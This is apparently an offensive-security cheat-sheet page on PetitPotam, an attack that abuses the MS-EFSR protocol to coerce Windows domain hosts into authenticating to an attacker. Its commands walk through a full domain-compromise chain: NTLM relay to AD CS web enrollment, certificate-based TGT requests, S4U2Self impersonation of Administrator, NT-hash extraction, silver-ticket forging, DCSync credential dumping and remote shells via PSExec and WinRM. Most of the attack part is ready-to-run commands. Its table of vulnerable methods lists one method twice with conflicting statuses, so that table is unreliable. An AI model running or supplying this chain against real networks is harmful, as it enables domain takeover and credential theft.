PRIMARY CATEGORY → MITM & COERCED AUTHS
Theory
MS-EFSR stands for Microsoft’s Encrypting File System Remote Protocol
Like many of the Microsoft protocols, it is available as RPC Interface and accesible through the following SMB Named Pipes
\pipe\efsrpc
\pipe\lsarpc
\pipe\samr
\pipe\lsass
\pipe\netlogonA bug was discovered that allowed unauthenticated users to remotely coerce domain-joined hosts over SMB
Likewise, an operator could leverage the Web Client Service in order to force authentication from a victim over HTTP, whose clients do not require signing by default
Therefore, those received authentications over HTTP could be cross-relayed to a Domain Controller over LDAP or SMB
Vulnerable MS-EFSR Methods
Patially Patched 🟢 Unpatched ❌
| METHOD | STATUS |
|---|---|
EfsRpcOpenFileRaw | 🟢 |
EfsRpcEncryptFileSrv | 🟢 |
EfsRpcEncryptFileSrv | ❌ |
EfsRpcDecryptFileSrv | ❌ |
EfsRpcQueryUsersOnFile | ❌ |
EfsRpcQueryRecoveryAgents | ❌ |
EfsRpcRemoveUsersFromFile | ❌ |
EfsRpcAddUsersToFile | ❌ |
EfsRpcFileKeyInfo | ❌ |
EfsRpcDuplicateEncryptionInfoFile | ❌ |
EfsRpcAddUsersToFileEx | ❌ |
Abuse - UNIX-like
PetitPotam.py
Authenticated
python3 PetitPotam.py -dc-ip '<TARGET>' --username '<USER>' --password '<PASSWD>' --domain '<DOMAIN>' '<ATTACKER>' '<TARGET>'Abuse Scenario - UNIX-like
Note that in order to carry out the following actions, the Active Directory Certificate Services (AD CS) feature must be installed and configured properly
Likewise, a CA must be deployed either on the DC or another domain-joined host
Furthermore, the AD CS HTTP Web Enrollment Endpoint must be enabled and accesible for all authenticated domain accounts
This is necessary since we will relay the received authentication from the victim over SMB to the Web Enrollment HTTP Endpoint in order to request a certificate for authenticated principal, either a user account or a computer account
An operator could abuse this situation as the IIS supports NTLM Authentications, the Extended Protection for Authentication (EPA) is not enabled and the HTTP Server does not enforce signing by default. So, it is the ideal situation for relaying over SMB
Regardless of whether AD CS is set or not in the DC, an adversary could coerce a domain-joined host to authenticate over HTTP via Web Client Service Abuse (WebDAV) and relay that authentication to the DC over LDAP in order to perform Resource Base Constrained Delegation (RBCD)
Domain-Joined Host Compromise
Setting up the Relayer
We set up an SMB Server to receive the authentication over SMB and relay it to the specified target, namely, the AD CS Web Enrollment HTTP endpoint
ntlmrelayx.py -smb2support --no-http-server --no-wcf-server --target 'http://<TARGET>/certsrv' --adcs --template 'Computer'SMB Coercion via MS-EFSR
python3 PetitPotam.py -dc-ip '<TARGET>' --username '<USER>' --password '<PASSWD>' --domain '<DOMAIN>' '<ATTACKER>' '<TARGET>'Passing-the-Certificate
Once we have obtained the certificate issued by the CA for the authenticated principal, in this case the domain-joined computer, simply start an AS Exchange via PKINIT Certificate Trust in order to request a Ticket Granting Ticket (TGT) for the given computer account
python3 gettgtpkinit.py -cert-pfx <PFX_CERT> -dc-ip '<DC>' '<DOMAIN>/<USER>' <CCACHE_FILE>We get a TGT, along with its Session Key, stored within a CCACHE file
From here, we could leverage two techniques in order to accomplish the domain-joined host compromise
#1 - S4U2Self
S4U2Self
We can use the TGT of the computer account to initialize a TGS Exchange via S4U2Self in order to request a Service Ticket (ST) for any domain user to itself
Therefore, we could request a service ticket for that computer account on behalf of any user account that we wish to impersonate
getST.py -k -no-pass -dc-ip <TARGET> -self -altservice '<SPN>' -impersonate '<USER_TO_IMPERSONATE>' '<DOMAIN>/<COMPUTER_ACCOUNT>'Next, simply inject that Service Ticket into the current session through the KRB5CCNAME enviroment parameter and perform any action according to the SName of the ticket
e.g.
- DCSync
CIFS/DC01.domain.local
getST.py -k -no-pass -dc-ip 'DC01.DOMAIN.LOCAL' -self -altservice 'CIFS/WS99.DOMAIN.LOCAL' -impersonate 'Administrator' 'domain.local/WS99$'export KRB5CCNAME=$(realpath <CCACHE_FILE>)secretsdump.py -k -no-pass -target-ip '10.10.10.2' 'DOMAIN.LOCAL/Administrator@WS99.DOMAIN.LOCAL'- Interactive Shell with PSExec
getST.py -k -no-pass -dc-ip 'DC01.DOMAIN.LOCAL' -self -altservice 'CIFS/WS99.DOMAIN.LOCAL' -impersonate 'Administrator' 'domain.local/WS99$'export KRB5CCNAME=$(realpath <CCACHE_FILE>)psexec.py -k -no-pass -target-ip '10.10.10.2' 'DOMAIN.LOCAL/Administrator@WS99.DOMAIN.LOCAL'- Interactive Shell with WinRM
getST.py -k -no-pass -dc-ip 'DC01.DOMAIN.LOCAL' -self -altservice 'HOST/WS99.DOMAIN.LOCAL' -impersonate 'Administrator' 'domain.local/WS99$'export KRB5CCNAME=$(realpath <CCACHE_FILE>)evil-winrm --realm 'DOMAIN.LOCAL' --ip 'WS99.DOMAIN.LOCAL' --spn host#2 - UnPac-the-Hash + Silver Ticket
U2U
When a kerberos client initializes an AS Exchange via PKINIT, whether Key Trust or Certificate Trust, the KDC always stores the NT Hash of the Client Name within the Privilege Attribute Certificate (PAC) of the TGT
The problem is that we cannot extract the NT Hash as the ticket enc-part is encrypted with a key derived from the krbtgt account password
However, an operator could start a TGS Exchange via U2U in order to request a Service Ticket for himself i.e. a Ticket Granting Ticket
To do so, the kerberos client must provide the TGT for the computer account as Ticket and Additional-Ticket, along with the TGS Session Key. Furthermore, the ENC-TKT-IN-SKEY must be set in the KDC-OPTIONS field
Doing so, the issued service ticket will not be encrypted with a key derived from the computer account password, but rather with the session key of the additional ticket provided, which is the computer account’s TGT
The kerberos client has this session key as it was stored within the enc-part of the AS_REP, so it can decrypt the service ticket in order to extract the NT Hash from the PAC
Take into account that the KDC’s TGS replicates the TGT’s PAC provided by the client when generating the service ticket i.e. the TGT and the ST have the same PAC, thus, both contain the NT hash
export KRB5CCNAME=$(realpath <CCACHE_FILE>) # Computer Account's CCACHEpython3 getnthash.py -dc-ip <DC> -key '<TGT_SESSION_KEY>' '<DOMAIN>/<COMPUTER_ACCOUNT>'Once we have the NT Hash of the computer account, we can forge our own Service Tickets without relying on any DC as a domain-joined host does not need a DC in order to process any AP_REQ
It retrieves from memory the cached credential of the service account, whose key was used to encrypt the provided service ticket in the AP_REQ
Then, it uses it to decrypt the service ticket and extract both the service ticket PAC and session key. Likewise, it uses the session key to decrypt the authenticator in order to complete the authenticity validation
Next, the information contained within the PAC is used to create the Access Token under which the application thread will be executed
So, let’s proceed as follows in order to forge a service ticket for any service running in the target such as SMB, WinRM and so on
ticketer.py -nthash '<NT_HASH>' -spn '<SPN>' -domain '<DOMAIN>' -domain-sid '<DOMAIN_SID>' '<USER>'Since the service ticket is forged locally and is not sent to the DC at no time, it does not matter if the specified user (ClientName) exists or not
- DCSync
ticketer.py -nthash '73c4ddd13b1a1155efb2e797794f0134' -spn 'CIFS/WS99.DOMAIN.LOCAL' -domain 'DOMAIN.LOCAL' -domain-sid 'S-1-5-21-1015049279-2421165049-194763108' 'baduser'export KRB5CCNAME=$(realpath <CCACHE_FILE>)secretsdump.py -k -no-pass -target-ip '10.10.10.2' 'DOMAIN.LOCAL/baduser@WS99.DOMAIN.LOCAL'- Interactive Shell with PSExec
ticketer.py -nthash '73c4ddd13b1a1155efb2e797794f0134' -spn 'CIFS/WS99.DOMAIN.LOCAL' -domain 'DOMAIN.LOCAL' -domain-sid 'S-1-5-21-1015049279-2421165049-194763108' 'baduser'export KRB5CCNAME=$(realpath <CCACHE_FILE>)psexec.py -k -no-pass -target-ip '10.10.10.2' 'DOMAIN.LOCAL/baduser@WS99.DOMAIN.LOCAL'- Interactive Shell with WinRM
ticketer.py -nthash '73c4ddd13b1a1155efb2e797794f0134' -spn 'HOST/WS99.DOMAIN.LOCAL' -domain 'DOMAIN.LOCAL' -domain-sid 'S-1-5-21-1015049279-2421165049-194763108' 'baduser'export KRB5CCNAME=$(realpath <CCACHE_FILE>)evil-winrm --realm 'DOMAIN.LOCAL' --ip 'WS99.DOMAIN.LOCAL' --spn host